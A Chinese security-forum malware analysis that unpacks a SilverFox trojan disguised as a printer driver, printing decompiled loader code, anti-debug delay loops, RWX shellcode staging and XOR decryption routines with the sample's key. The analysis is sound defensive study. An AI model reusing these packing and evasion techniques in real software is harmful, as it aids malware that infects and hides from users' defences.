[原创][原创]银狐木马深度剖析：手工拆解三层自解密壳与 48KB 最终载荷-茶余饭后-看雪安全社区

样本取自`<mark class="encrypted">025K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5i4A6S2j5i4u0Q4x3X3g2S2j5Y4g2K6k6g2)9J5k6h3y4Z5i4K6u0r3j5Y4u0G2N6%4y4W2i4K6u0r3N6r3q4Y4i4K6u0r3f1$3W2D9N6X3g2J5c8X3!0^5i4K6u0r3i4K6j5H3</mark>
样本：`524b0b9f10daa60f347cf8f906fd79fa43855df1d5fef2b9a58a90d543c5fdf4.exe`（38 MB，x64，来自 abuse.ch/bazaar 的 SilverFox 标签页） 环境：VMware Win11 虚拟机 + IDA（静态）+ x64dbg（动态），宿主机 Python 3.14

用DIE打开看一下这个exe文件
![image.png](upload/attach/202610/1087822_U4THMFM8H33NZWP.png)

查看签名，发现是空的
![image.png](upload/attach/202610/1087822_9S2FW8JUFSNWH9W.png)

查看版本
![image.png](upload/attach/202610/1087822_3C8ZV962CFW3XRF.png)

| 字段                              | 值                                     |
| ------------------------------- | ------------------------------------- |
| FileDescription                 | **Virtual Printer Properties Module** |
| ProductName                     | **MJS-BLDriver**                      |
| FileVersion / ProductVersion    | 1.0                                   |
| InternalName / OriginalFilename | 空                                     |
有可能是冷门老软件被拿来当宿主，也可能是随便填的版本信息。

我们用PE-bear打开看一下有哪些导入表
![image.png](upload/attach/202610/1087822_WVPAQ7RCCNY96ZM.png)
![image.png](upload/attach/202610/1087822_GU5WZGJN3UPASR9.png)

静态加载的dll没啥，有可能是动态加载的dll.我们去ida里搜索一下%s.dll
![image.png](upload/attach/202610/1087822_ZUNE45R7JU6EUE5.png)
发现是`crypto\dso\dso_win32.c`,是 OpenSSL 源码路径。Windows 上 OpenSSL 用 DSO（动态库）加载引擎时，就是 "%s.dll" 这种拼法。6MB 的业务/打印相关程序里链一份 OpenSSL 很常见.

我们直接静态分析一下

ida打开exe文件
start函数
```
__int64 start()
{
  sub_4161B0();
  return sub_401161();
}
```
我们看第一个函数
```
__int64 sub_4161B0()
{
  __int64 result; // rax
  struct _FILETIME v1; // rbx
  unsigned __int64 v2; // rbx
  unsigned __int64 v3; // rbx
  unsigned __int64 v4; // rbx
  LONGLONG v5; // r11
  struct _FILETIME SystemTimeAsFileTime; // [rsp+30h] [rbp+8h] BYREF
  LARGE_INTEGER PerformanceCount; // [rsp+38h] [rbp+10h] BYREF

SystemTimeAsFileTime = 0;
  if ( qword_42A490 == 47936899621426LL )
  {
    GetSystemTimeAsFileTime(lpSystemTimeAsFileTime: &SystemTimeAsFileTime);
    v1 = SystemTimeAsFileTime;
    v2 = GetCurrentProcessId() ^ *(unsigned __int64 *)&v1;
    v3 = GetCurrentThreadId() ^ v2;
    v4 = GetTickCount() ^ v3;
    QueryPerformanceCounter(lpPerformanceCount: &PerformanceCount);
    v5 = (v4 ^ PerformanceCount.QuadPart) & 0xFFFFFFFFFFFFLL;
    result = 0x2B992DDFA233LL;
    if ( v5 == 47936899621426LL )
      v5 = 0x2B992DDFA233LL;
    qword_42A490 = v5;
    qword_42A498 = ~v5;
  }
  else
  {
    qword_42A498 = ~qword_42A490;
    return ~qword_42A490;
  }
  return result;
}
```
这个函数是栈保护函数，常数 `47936899621426 = 0x2B992DDFA232`，这是 MSVC 默认 栈保护cookie

|函数|通俗含义|在 cookie 里当什么|
|---|---|---|
|`GetSystemTimeAsFileTime`|现在的系统时间（100 纳秒单位）|时间在变|
|`GetCurrentProcessId`|当前进程 PID|这次启动的进程号|
|`GetCurrentThreadId`|当前线程 TID|线程号|
|`GetTickCount`|开机到现在过了多少毫秒|开机时长|
|`QueryPerformanceCounter`|高精度计时器读数|更细的时间|

我们看第二个函数`sub_401161`
![image.png](upload/attach/202610/1087822_3TYR3P8BUB3CQJE.png)

看下函数`401196`函数的汇编
```
.text:0000000000401161 sub_401161      proc near               ; CODE XREF: start+D↓j
.text:0000000000401161
.text:0000000000401161 ; FUNCTION CHUNK AT .text:0000000000401440 SIZE 0000000C BYTES
.text:0000000000401161 ; FUNCTION CHUNK AT .text:00000000004023D5 SIZE 00000008 BYTES
.text:0000000000401161 ; FUNCTION CHUNK AT .text:0000000000402A4E SIZE 00000011 BYTES
.text:0000000000401161
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 sub     rsp, 48h
.text:0000000000401169                 add     rax, 8
.text:000000000040116D                 xor     r10d, 49656E69h
.text:0000000000401174                 xor     r11d, r11d
.text:0000000000401177                 xor     r11d, r11d
.text:000000000040117A                 or      r10d, r8d
.text:000000000040117D                 add     rax, 8
.text:0000000000401181                 call    sub_40119D
.text:0000000000401186                 test    rax, rax
.text:0000000000401189                 jz      short loc_401190
.text:000000000040118B                 jmp     loc_401440
.text:0000000000401190 ; ---------------------------------------------------------------------------
.text:0000000000401190
.text:0000000000401190 loc_401190:                             ; CODE XREF: sub_401161+28↑j
.text:0000000000401190                 jmp     short loc_401194
.text:0000000000401192 ; ---------------------------------------------------------------------------
.text:0000000000401192                 jmp     short loc_401196
.text:0000000000401194 ; ---------------------------------------------------------------------------
.text:0000000000401194
.text:0000000000401194 loc_401194:                             ; CODE XREF: sub_401161:loc_401190↑j
.text:0000000000401194                 xor     eax, eax
.text:0000000000401196
.text:0000000000401196 loc_401196:                             ; CODE XREF: sub_401161+31↑j
.text:0000000000401196                 enter   0FFFFFFFFFFFF8348h, 0C4h
.text:000000000040119A                 pop     rbp
.text:000000000040119C                 retn
.text:000000000040119C sub_401161      endp ; sp-analysis failed
.text:000000000040119C
```

分析汇编

`call sub_401190`

```
void __fastcall sub_40119D(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  unsigned __int64 v3; // rax
  __int64 v4; // r14
  __int64 i; // r11
  __int64 j; // r9

__asm { rdtscp }
  v2 = a2 << 32;
  v3 = v2;
  v4 = v2;
  do
  {
    __asm { frndint }
    __asm { rdtscp }
    v2 <<= 32;
    v3 = (v2 | v3) - v4;
  }
  while ( v3 < 0xEE6B2800 );
  for ( i = 16; i != 0; --i )
  {
    for ( j = 82354371; j != 0; --j )
      ;
  }
}
```

单纯恶心，rdtscp 循环，等到 CPU 时间戳差 ≥ 0xEE6B2800 + 单步调试的循环了16 * 82354371，继续往下看汇编

```
.text:0000000000401186                 test    rax, rax
.text:0000000000401189                 jz      short loc_401190
.text:000000000040118B                 jmp     loc_401440
```

`rax = 0` -> `loc_401190` ，`rax != 0` -> `loc_401440`,这里我们ida动调一下看看rax的值到底是多少，发现`rax = 2` -> `ZF = 0` -> jz不成立，所以只能跳转`loc_401440`
![image.png](upload/attach/202610/1087822_NTF9FKRMBBEXTUW.png)

先看`loc_401190`

```
.text:0000000000401190   loc_401190:                             ; CODE XREF: sub_401161+28↑j
.text:0000000000401190                   jmp     short loc_401194
.text:0000000000401192   ; ---------------------------------------------------------------------------
.text:0000000000401192                   jmp     short loc_401196
.text:0000000000401194   ; ---------------------------------------------------------------------------
.text:0000000000401194
.text:0000000000401194   loc_401194:                             ; CODE XREF: sub_401161:loc_401190↑j
.text:0000000000401194                   xor     eax, eax
.text:0000000000401196
.text:0000000000401196   loc_401196:                             ; CODE XREF: sub_401161+31↑j
.text:0000000000401196                   enter   0FFFFFFFFFFFF8348h, 0C4h
.text:000000000040119A                   pop     rbp
.text:000000000040119C                   retn
```

`enter   0FFFFFFFFFFFF8348h`帧大小被写成一个大到离谱的数,所以这个分支会直接退出

再看`loc_401440`

```
text:0000000000401440   loc_401440:                             ; CODE XREF: sub_401161+2A↑j
.text:0000000000401440                   mov     rcx, 750B233Ah
.text:0000000000401447                   jmp     loc_4023D5
.text:0000000000401447   ; END OF FUNCTION CHUNK FOR sub_401161
.text:0000000000401447   ; ---------------------------------------------------------------------------
.text:000000000040144C                   align 10h
.text:0000000000401450                   dq 0CCCCCC0008DA9BE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC0008DED7E9h
.text:0000000000401468                   dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC0006791BE9h, 0CCCCCCCCCCCCCCCCh
.text:0000000000401480                   dq 0CCCCCC000BF587E9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC00083A37E9h
.text:0000000000401498                   dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC0002E8DBE9h, 0CCCCCCCCCCCCCCCCh
.text:00000000004014B0                   dq 0CCCCCC00027DCBE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC000A1C5FE9h
.text:00000000004014C8                   dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC000756BFE9h, 0CCCCCCCCCCCCCCCCh
.......
.text:00000000004023D0                   db 0E9h, 7Bh, 61h, 3, 0

.text:0000000000401440   loc_401440:                             ; CODE XREF: sub_401161+2A↑j
.text:0000000000401440                   mov     rcx, 750B233Ah
.text:0000000000401447                   jmp     loc_4023D5
.text:0000000000401447   ; END OF FUNCTION CHUNK FOR sub_401161
.text:0000000000401447   ; ---------------------------------------------------------------------------
.text:000000000040144C                   align 10h
.text:0000000000401450                   dq 0CCCCCC0008DA9BE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC0008DED7E9h
.text:0000000000401468                   dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC0006791BE9h, 0CCCCCCCCCCCCCCCCh
.text:0000000000401480                   dq 0CCCCCC000BF587E9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC00083A37E9h
.....
.text:00000000004023D0                   db 0E9h, 7Bh, 61h, 3, 0

.text:00000000004023D5   loc_4023D5:                             ; CODE XREF: sub_401161+2E6↑j
.text:00000000004023D5                                           ; sub_401161:loc_402A4E↓j
.text:00000000004023D5                   dec     rcx
.text:00000000004023D8                   jmp     loc_402A4E
.text:00000000004023D8   ; END OF FUNCTION CHUNK FOR sub_401161
.text:00000000004023D8   ; ---------------------------------------------------------------------------
.text:00000000004023DD                   align 20h
.text:00000000004023E0                   dq 0CCCCCC000CFA27E9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC000513DBE9h
.text:00000000004023F8                   dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC000AACC7E9h, 0CCCCCCCCCCCCCCCCh
.....
.text:0000000000402A48                   db 6 dup(0CCh)

.text:0000000000402A4E   loc_402A4E:                             ; CODE XREF: sub_401161+1277↑j
.text:0000000000402A4E                   jnz     loc_4023D5
.text:0000000000402A54                   call    sub_4032EB
.text:0000000000402A59                   call    sub_4039A9
.text:0000000000402A5E                   retn
.text:0000000000402A5E   ; END OF FUNCTION CHUNK FOR sub_401161
.text:0000000000402A5E   ; ---------------------------------------------------------------------------
.text:0000000000402A5F                   align 20h
.text:0000000000402A60                   dq 0CCCCCC00056E8BE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC00092AEFE9h
....
.text:00000000004032E8                   db 3 dup(0CCh)

```

`loc_401440`->`loc_4023D5`->`loc_402A4E`->`loc_4023D5`->`sub_4032EB`->`sub_4039A9`，会循环1963664186次才跳出循环执行后面的函数`sub_4032EB`->`sub_4039A9`

`sub_4032EB`函数

```
__int64 sub_4032EB()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+30h] [rbp-8h]
  int v2; // [rsp+34h] [rbp-4h]

result = sub_40334B();
  v2 = result;
  v1 = 0;
  while ( v1 < 0xBB8 )
  {
    result = (unsigned int)sub_40334B() - v2;
    v1 = result;
    if ( (unsigned int)result < 0x5DC )
      result = (unsigned int)(2 * result);
  }
  return result;
}

__int64 sub_40334B()
{
  return ((unsigned int)(MEMORY[0x7FFE0004] * MEMORY[0x7FFE0320]) >> 24)
       + (MEMORY[0x7FFE0324] << 8) * MEMORY[0x7FFE0004];
}
```

`0x7FFE0000`这是 Windows 映射给每个进程的只读页，里面有中断时间、Tick、倍率等。常见偏移：

|地址|一般含义|
|---|---|
|`0x7FFE0004`|`InterruptTime` 的高半部分一类字段|
|`0x7FFE0320`|`TickCountMultiplier`|
|`0x7FFE0324`|`TickCount` 低 32 位|
也是一个延时的函数

`sub_4039A9`
```
_BYTE *sub_4039A9()
{
  _BYTE *result; // rax
  char *v1; // rdi
  __int64 v2; // rcx
  _BYTE *v3; // rsi
  char v4; // al
  _BYTE *v5; // [rsp+58h] [rbp-160h]

result = VirtualAlloc(lpAddress: nullptr, dwSize: 0xDE7Au, flAllocationType: 0x1000u, flProtect: 0x40u);
  v5 = result;
  if ( result != nullptr )
  {
    v1 = (char *)&unk_42D10D;
    v2 = 56954;
    v3 = result;
    do
    {
      v4 = *v1;
      _mm_lfence();
      *v3 = v4;
      ++v1;
      ++v3;
      --v2;
    }
    while ( v2 != 0 );
    __asm { jmp     r11 }
  }
  return result;
}
```
`VirtualAlloc(lpAddress: nullptr, dwSize: 0xDE7Au, flAllocationType: 0x1000u, flProtect: 0x40u)` 作用是向系统要一块虚拟内存，
`lpAddress` — 想要的起始地址
`dwSize` — 要多少字节
`flAllocationType` — 怎么分配

|值|宏|含义|
|---|---|---|
|`0x1000`|`MEM_COMMIT`|提交物理页，马上能用|
|`0x2000`|`MEM_RESERVE`|只占地址空间，还不能读写|
|两者或在一起|`0x3000`|先保留再提交|

`flProtect` — 页权限

|值|宏|含义|
|---|---|---|
|`0x01`|`PAGE_NOACCESS`|不能访问|
|`0x02`|`PAGE_READONLY`|只读|
|`0x04`|`PAGE_READWRITE`|读写，不能当代码跑|
|`0x10`|`PAGE_EXECUTE`|只能执行|
|`0x20`|`PAGE_EXECUTE_READ`|执行 + 读|
|**`0x40`**|**`PAGE_EXECUTE_READWRITE`**|**读 + 写 + 执行**|
我们先dump出来`unk_42D10D`

```python
import ida_bytes 
data = ida_bytes.get_bytes(0x42D10D, 0xDE7A) open(r"C:\Users\sfoxlab1\Desktop\stage.bin", "wb").write(data)
```

`unk_42D10D`这个数据会复制到VirtualAlloc开辟的区间，然后就跳转到r11寄存器了，于是动调一下r11寄存器看看是怎么个事，打开x64dbg,在0x403A39打断点，看看寄存器的值
![image.png](upload/attach/202610/1087822_4NS23BD69DHCN4T.png)
此时寄存器`RSI = 0x0299DE7A`,`RDI = 0x0043AF87`,`R12 = R11 = 0x02990000`,`RAX = 0x00403AE4`
说明`sub_4039A9`这个函数执行完之后就跳转到了`0x02990000`这个地址，然后我们直接ctrl + G跳转到这个内存看看
![image.png](upload/attach/202610/1087822_NP58RX7KASJRKVP.png)
直接在x64dbg中dump出来
```
savedata C:\Users\sfoxlab1\Desktop\check_C1.bin, 0x2990000, 0xDE7A
```
用ida打开这个bin文件
![image.png](upload/attach/202610/1087822_SQUSHUAQ7U8Q63F.png)
然后x64dbg单步F8
![image.png](upload/attach/202610/1087822_Y45Q7Z8S43F8FG4.png)
发现RIP刚好指到了0x2990000的位置，并且第一条就是call 299DE2D,偏移和ida里显示的一样，感觉像是加载器在运行期动态构造解密桩

看一下`299DE2D`

```
000000000299DE2D | EB 01                    | jmp 299DE30                             |
000000000299DE2F | 8C5F 48                  | mov word ptr ds:[rdi+48],ds             | rdi+48:ShowProperties+330CB
000000000299DE32 | 39C0                     | cmp eax,eax                             |
000000000299DE34 | 816F 04 E046FABA         | sub dword ptr ds:[rdi+4],BAFA46E0       | rdi+04:ShowProperties+33087
000000000299DE3B | 48:0F4ADB                | cmovp rbx,rbx                           |
000000000299DE3F | 816F 08 710B9DAB         | sub dword ptr ds:[rdi+8],AB9D0B71       | rdi+08:ShowProperties+3308B
000000000299DE46 | 4D:0F4DC9                | cmovge r9,r9                            |
000000000299DE4A | 8177 0C 5F394C79         | xor dword ptr ds:[rdi+C],794C395F       | rdi+0C:ShowProperties+3308F
000000000299DE51 | EB 01                    | jmp 299DE54                             |
000000000299DE53 | 5E                       | pop rsi                                 |
000000000299DE54 | C147 10 98               | rol dword ptr ds:[rdi+10],98            | rdi+10:ShowProperties+33093
000000000299DE58 | FFE7                     | jmp rdi                                 | rdi:ShowProperties+33083
000000000299DE5A | 41:FFE4                  | jmp r12                                 |
000000000299DE5D | 9E                       | sahf                                    |
000000000299DE5E | EA                       | ???                                     |
000000000299DE5F | 41:FFE6                  | jmp r14                                 |
000000000299DE62 | E6 C2                    | out C2,al                               |
000000000299DE64 | 41:FFE7                  | jmp r15                                 |
000000000299DE67 | 0000                     | add byte ptr ds:[rax],al                |
000000000299DE69 | 0041 C1                  | add byte ptr ds:[rcx-3F],al             |
000000000299DE6C | 4A:101441                | adc byte ptr ds:[rcx+r8*2],dl           |
000000000299DE70 | FFE2                     | jmp rdx                                 |
000000000299DE72 | FFE3                     | jmp rbx                                 |
000000000299DE74 | 15 7241FFE0              | adc eax,E0FF4172                        |
000000000299DE79 | E4 00                    | in al,0                                 |
```

| 指令                               | 改谁            | 绝对地址（`rdi=0x2990005` 时） |
| -------------------------------- | ------------- | ----------------------- |
| `sub dword [rdi+4], 0xBAFA46E0`  | 内存里一个 4 字节    | **`0x2990009`**         |
| `sub dword [rdi+8], 0xAB9D0B71`  | 下一个 4 字节      | **`0x299000D`**         |
| `xor dword [rdi+0C], 0x794C395F` | 再下一个          | **`0x2990011`**         |
| `rol dword [rdi+10], 0x98`       | 再下一个（左旋 24 位） | **`0x2990015`**         |
所以他的加密逻辑是`jmp r11`就是`0000000002990000 | E8 28DE0000              | call 299DE2D`然后跳转到`0x299DE2D`这个时候修改了`0x2990009` `0x299000D` `0x2990011` `0x2990015`这时候的四个地址的数据，然后再`jmp rdi`(这个时候是0x2990005，因为call 299DE2D的时候会把下一跳的地址压栈，再jmp)此时内存中的值已经被修改了，所以只能动调然后dump出来二进制文件
# 解密第一步

动调进入`299DE2D`函数，这时候那四个字节应该解密完成，我们dump出来看一眼
![image.png](upload/attach/202610/1087822_XY4VF9SMB3ZXHN9.png)

`savedata C:\Users\sfoxlab1\Desktop\patch_applied.bin, 0x2990000, 0xDE7A`, 用ida打开看一眼是不是解密出一部分代码了

![image.png](upload/attach/202610/1087822_UG35CYAVTUPYEMY.png)

x64dbg
```
0000000002990009 | 41:B5 A8                 | mov r13b,A8                             |
000000000299000C | 48:C7C1 09DE0000         | mov rcx,DE09                            |
0000000002990013 | 4C:8D35 09000000         | lea r14,qword ptr ds:[2990023]          |
000000000299001A | 45:302C0E                | xor byte ptr ds:[r14+rcx],r13b          |
000000000299001E | 45:022C0E                | add r13b,byte ptr ds:[r14+rcx]          |
0000000002990022 | E2 F6                    | loop 299001A                            |
```

ida

```
mov     r13b, 0A8h
seg000:000000000000000C                 mov     rcx, 0DE09h
seg000:0000000000000013                 lea     r14, loc_22+1
seg000:000000000000001A
seg000:000000000000001A loc_1A:                                 ; CODE XREF: seg000:loc_22↓j
seg000:000000000000001A                 xor     [r14+rcx], r13b
seg000:000000000000001E                 add     r13b, [r14+rcx]
seg000:0000000000000022
seg000:0000000000000022 loc_22:                                 ; DATA XREF: seg000:0000000000000013↑o
seg000:0000000000000022                 loop    loc_1A
```

**用滚动异或，把 0x2990024～0x299DE2C 解开。**

# 解密第二步

那就在x64dbg里在`0x2990024`打硬件断点`bphws 0x2990024`,然后再dump出解密的部分`savedata C:\Users\sfoxlab1\Desktop\payload_C2_v2.bin, 0x2990000, 0xDE7A`
![image.png](upload/attach/202610/1087822_U7A5GVPUSHGR7RK.png)

打开看一下

![image.png](upload/attach/202610/1087822_XV2SWPREXHFJVZN.png)
发现还是没有解密成功，x64dbg往下继续执行吧，看看有没有发现

# 解密第三步
下一步`0000000002990028 | E9 60BF0000 | jmp 299BF8D`,我们直接在ida里看一下`BF8D`
```
__int64 __fastcall sub_BF8D(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6)
{
  int v6; // edx
  int v7; // edi
  int v8; // esi
  int v9; // r8d
  int v10; // r9d
  __int64 v11; // rdx
  __int64 v12; // rdi
  __int64 v13; // rsi
  int v14; // r8d
  int v15; // r9d
  __int64 v16; // rdi
  __int64 v17; // rsi
  int v18; // edi
  int v19; // esi
  int v20; // r8d
  int v21; // r9d
  unsigned __int64 v22; // rax
  __int64 v23; // rdx
  __int64 v24; // rdi
  __int64 v25; // rsi
  int v26; // edi
  int v27; // esi
  int v28; // r8d
  int v29; // r9d
  int v30; // edi
  int v31; // esi
  int v32; // r8d
  int v33; // r9d
  __int64 v34; // rax
  __int64 v35; // rdi
  __int64 v36; // rsi
  int v37; // edi
  int v38; // esi
  int v39; // r9d
  int v40; // edi
  int v41; // esi
  int v42; // r9d
  int v43; // edi
  int v44; // esi
  int v45; // r8d
  int v46; // r9d
  __int64 v47; // rdi
  __int64 v48; // rsi
  __int64 v49; // rax
  __int64 v50; // rdi
  __int64 v51; // rsi
  __int64 v53; // [rsp+0h] [rbp-128h]
  __int64 v54; // [rsp+0h] [rbp-128h]
  __int64 v55; // [rsp+0h] [rbp-128h]
  __int64 v56; // [rsp+8h] [rbp-120h]
  __int64 v57; // [rsp+8h] [rbp-120h]
  char v58[16]; // [rsp+20h] [rbp-108h] BYREF
  char v59[8]; // [rsp+30h] [rbp-F8h] BYREF
  char v60[16]; // [rsp+38h] [rbp-F0h] BYREF
  char v61[16]; // [rsp+48h] [rbp-E0h] BYREF
  char v62[16]; // [rsp+58h] [rbp-D0h] BYREF
  char v63[16]; // [rsp+68h] [rbp-C0h] BYREF
  char v64[16]; // [rsp+78h] [rbp-B0h] BYREF
  char v65[16]; // [rsp+88h] [rbp-A0h] BYREF
  char v66[24]; // [rsp+98h] [rbp-90h] BYREF
  int j; // [rsp+B0h] [rbp-78h]
  int v68; // [rsp+B4h] [rbp-74h]
  __int64 v69; // [rsp+B8h] [rbp-70h]
  void (*v70)(void); // [rsp+C0h] [rbp-68h]
  unsigned __int64 i; // [rsp+C8h] [rbp-60h]
  __int64 (*v72)(void); // [rsp+D0h] [rbp-58h]
  int v73; // [rsp+D8h] [rbp-50h]
  _BYTE v74[4]; // [rsp+DCh] [rbp-4Ch] BYREF
  void (__fastcall *v75)(__int64, __int64, __int64, __int64); // [rsp+E0h] [rbp-48h]
  __int64 v76; // [rsp+E8h] [rbp-40h] BYREF
  __int64 (__fastcall *v77)(__int64, __int64, __int64 *, _QWORD); // [rsp+F0h] [rbp-38h]
  void (__fastcall *v78)(__int64, __int64, __int64, _QWORD); // [rsp+F8h] [rbp-30h]
  __int64 (__fastcall *v79)(__int64, __int64, __int64, __int64, __int64); // [rsp+100h] [rbp-28h]
  unsigned int (__fastcall *v80)(__int64, __int64, __int64, void (*)(void), __int64, _BYTE *); // [rsp+108h] [rbp-20h]
  void (__fastcall *v81)(__int64, __int64, _QWORD, __int64, void (*)(void)); // [rsp+110h] [rbp-18h]
  void (*v82)(void); // [rsp+118h] [rbp-10h]

strcpy(v58, "kernel32.dll");
  strcpy(v59, "Sleep");
  v75 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_CBFD(
                                                                   a1,
                                                                   a2,
                                                                   a3: (unsigned int)v59,
                                                                   a4: (unsigned int)v58,
                                                                   a5,
                                                                   a6);
  sub_D47D();
  while ( (unsigned int)sub_CC9D(a1: v7, a2: v8, a3: v6, a4: 10000, a5: v9, a6: v10, a7: v53) != 0 )
    v75(a1: v12, a2: v13, a3: v11, a4: 1000);
  for ( i = 0; i < 0x14; ++i )
  {
    if ( i == 5 )
    {
      strcpy(v61, "ntdll.dll");
      v77 = (__int64 (__fastcall *)(__int64, __int64, __int64 *, _QWORD))sub_CBFD(
                                                                           a1: v12,
                                                                           a2: v13,
                                                                           a3: (unsigned int)"NtDelayExecution",
                                                                           a4: (unsigned int)v61,
                                                                           a5: v14,
                                                                           a6: v15);
      v76 = -100000000;
      v73 = v77(a1: v16, a2: v17, a3: &v76, a4: 0);
    }
  }
  strcpy(v66, "4@e!c!bSL2AeimnwyD4x");
  v69 = 48645;
  sub_D90D(a1: v12, a2: v13, a3: v11, a4: 48645, a5: v14, a6: v15, a7: v53);
  sub_C7CD();
  if ( (unsigned int)sub_DC4D() != 0 )
  {
    v68 = 0;
    for ( j = 0; j < 1000; ++j )
    {
      v22 = __rdtsc();
      v68 += v22;
    }
    strcpy(v63, "ExitProcess");
    v78 = (void (__fastcall *)(__int64, __int64, __int64, _QWORD))sub_CBFD(
                                                                    a1: v18,
                                                                    a2: v19,
                                                                    a3: (unsigned int)v63,
                                                                    a4: (unsigned int)v58,
                                                                    a5: v20,
                                                                    a6: v21);
    v78(a1: v24, a2: v25, a3: v23, a4: 0);
  }
  strcpy(v64, "GetProcessHeap");
  strcpy(v62, "HeapAlloc");
  strcpy(v60, "HeapFree");
  v72 = (__int64 (*)(void))sub_CBFD(a1: v18, a2: v19, a3: (unsigned int)v64, a4: (unsigned int)v58, a5: v20, a6: v21);
  v79 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64))sub_CBFD(
                                                                               a1: v26,
                                                                               a2: v27,
                                                                               a3: (unsigned int)v62,
                                                                               a4: (unsigned int)v58,
                                                                               a5: v28,
                                                                               a6: v29);
  v81 = (void (__fastcall *)(__int64, __int64, _QWORD, __int64, void (*)(void)))sub_CBFD(
                                                                                  a1: v30,
                                                                                  a2: v31,
                                                                                  a3: (unsigned int)v60,
                                                                                  a4: (unsigned int)v58,
                                                                                  a5: v32,
                                                                                  a6: v33);
  v34 = v72();
  v70 = (void (*)(void))v79(a1: v35, a2: v36, a3: 8, a4: v34, a5: v69);
  sub_DD1D(a1: v37, a2: v38, a3: (unsigned int)&unk_2D, a4: (_DWORD)v70, a5: v69, a6: v39, a7: v54, a8: v56);
  sub_D83D(a1: v40, a2: v41, a3: v69, a4: (_DWORD)v70, a5: (unsigned int)v66, a6: v42, a7: v55, a8: v57);
  strcpy(v65, "VirtualProtect");
  v80 = (unsigned int (__fastcall *)(__int64, __int64, __int64, void (*)(void), __int64, _BYTE *))sub_CBFD(
                                                                                                    a1: v43,
                                                                                                    a2: v44,
                                                                                                    a3: (unsigned int)v65,
                                                                                                    a4: (unsigned int)v58,
                                                                                                    a5: v45,
                                                                                                    a6: v46);
  if ( v80(a1: v47, a2: v48, a3: v69, a4: v70, a5: 64, a6: v74) == 0 )
  {
    v49 = v72();
    v81(a1: v50, a2: v51, a3: 0, a4: v49, a5: v70);
    sub_BF8D();
  }
  v82 = v70;
  v70();
  return 0;
}
```

这一块应该就是解密的核心函数了

```
__int64 __fastcall sub_CBFD(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6)
{
  int v6; // eax
  int v7; // edi
  int v8; // esi
  int v9; // r8d
  int v10; // r9d
  int v11; // edx
  int v12; // edi
  int v13; // esi
  int v14; // r8d
  int v15; // r9d
  int v16; // eax
  int v17; // edi
  int v18; // esi
  int v19; // r8d
  int v20; // r9d
  __int64 v21; // rdx
  __int64 v22; // rdi
  __int64 v23; // rsi
  __int64 v24; // rdi
  __int64 v25; // rsi
  __int64 v27; // [rsp+0h] [rbp-58h]
  __int64 v28; // [rsp+0h] [rbp-58h]
  __int64 v29; // [rsp+20h] [rbp-38h]
  __int64 (__fastcall *v30)(__int64, __int64, __int64, __int64); // [rsp+28h] [rbp-30h]
  __int64 (__fastcall *v31)(__int64, __int64, __int64, __int64); // [rsp+30h] [rbp-28h]
  __int64 v32; // [rsp+38h] [rbp-20h]

v6 = sub_CB3D(a1, a2, a3, a4: 1695039550, a5, a6);
  v30 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64))sub_C9BD(
                                                                      a1: v7,
                                                                      a2: v8,
                                                                      a3: 56352649,
                                                                      a4: v6,
                                                                      a5: v9,
                                                                      a6: v10,
                                                                      a7: v27);
  v16 = sub_CB3D(a1: v12, a2: v13, a3: v11, a4: 1695039550, a5: v14, a6: v15);
  v31 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64))sub_C9BD(
                                                                      a1: v17,
                                                                      a2: v18,
                                                                      a3: 1227537811,
                                                                      a4: v16,
                                                                      a5: v19,
                                                                      a6: v20,
                                                                      a7: v28);
  if ( v30 != nullptr
    && v31 != nullptr
    && (v32 = v30(a1: v22, a2: v23, a3: v21, a4), (v29 = v31(a1: v24, a2: v25, a3, a4: v32)) != 0) )
  {
    return v29;
  }
  else
  {
    return 0;
  }
}
```

```
strcpy(v58, "kernel32.dll");
  strcpy(v59, "Sleep");
  v75 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_CBFD(
                                                                   a1,
                                                                   a2,
                                                                   a3: (unsigned int)v59,
                                                                   a4: (unsigned int)v58,
                                                                   a5,
                                                                   a6);
```
这一段应该是反沙箱的会sleep
```
for ( i = 0; i < 0x14; ++i )
  {
    if ( i == 5 )
    {
      strcpy(v61, "ntdll.dll");
      v77 = (__int64 (__fastcall *)(__int64, __int64, __int64 *, _QWORD))sub_CBFD(
                                                                           a1: v12,
                                                                           a2: v13,
                                                                           a3: (unsigned int)"NtDelayExecution",
                                                                           a4: (unsigned int)v61,
                                                                           a5: v14,
                                                                           a6: v15);
      v76 = -100000000;
      v73 = v77(a1: v16, a2: v17, a3: &v76, a4: 0);
    }
  }
```
ntdll 里的延迟函数
终于看到了类似密钥的东西了
`strcpy(v66, "4@e!c!bSL2AeimnwyD4x");`

```
unsigned __int64 __fastcall sub_D83D(int a1, int a2, unsigned __int64 heap_size, __int64 a4, __int64 key)
{
  unsigned __int64 result; // rax
  int v6; // [rsp+0h] [rbp-28h]
  unsigned __int64 i; // [rsp+8h] [rbp-20h]
  __int64 v8; // [rsp+10h] [rbp-18h]

v6 = 0;
  v8 = -1;
  do
    ++v8;
  while ( *(_BYTE *)(key + v8) != 0 );
  for ( i = 0; ; ++i )
  {
    result = heap_size;
    if ( i >= heap_size )
      break;
    if ( v6 == (_DWORD)v8 )
      v6 = 0;
    *(_BYTE *)(i + a4) ^= *(_BYTE *)(key + v6++);
  }
  return result;
}
```
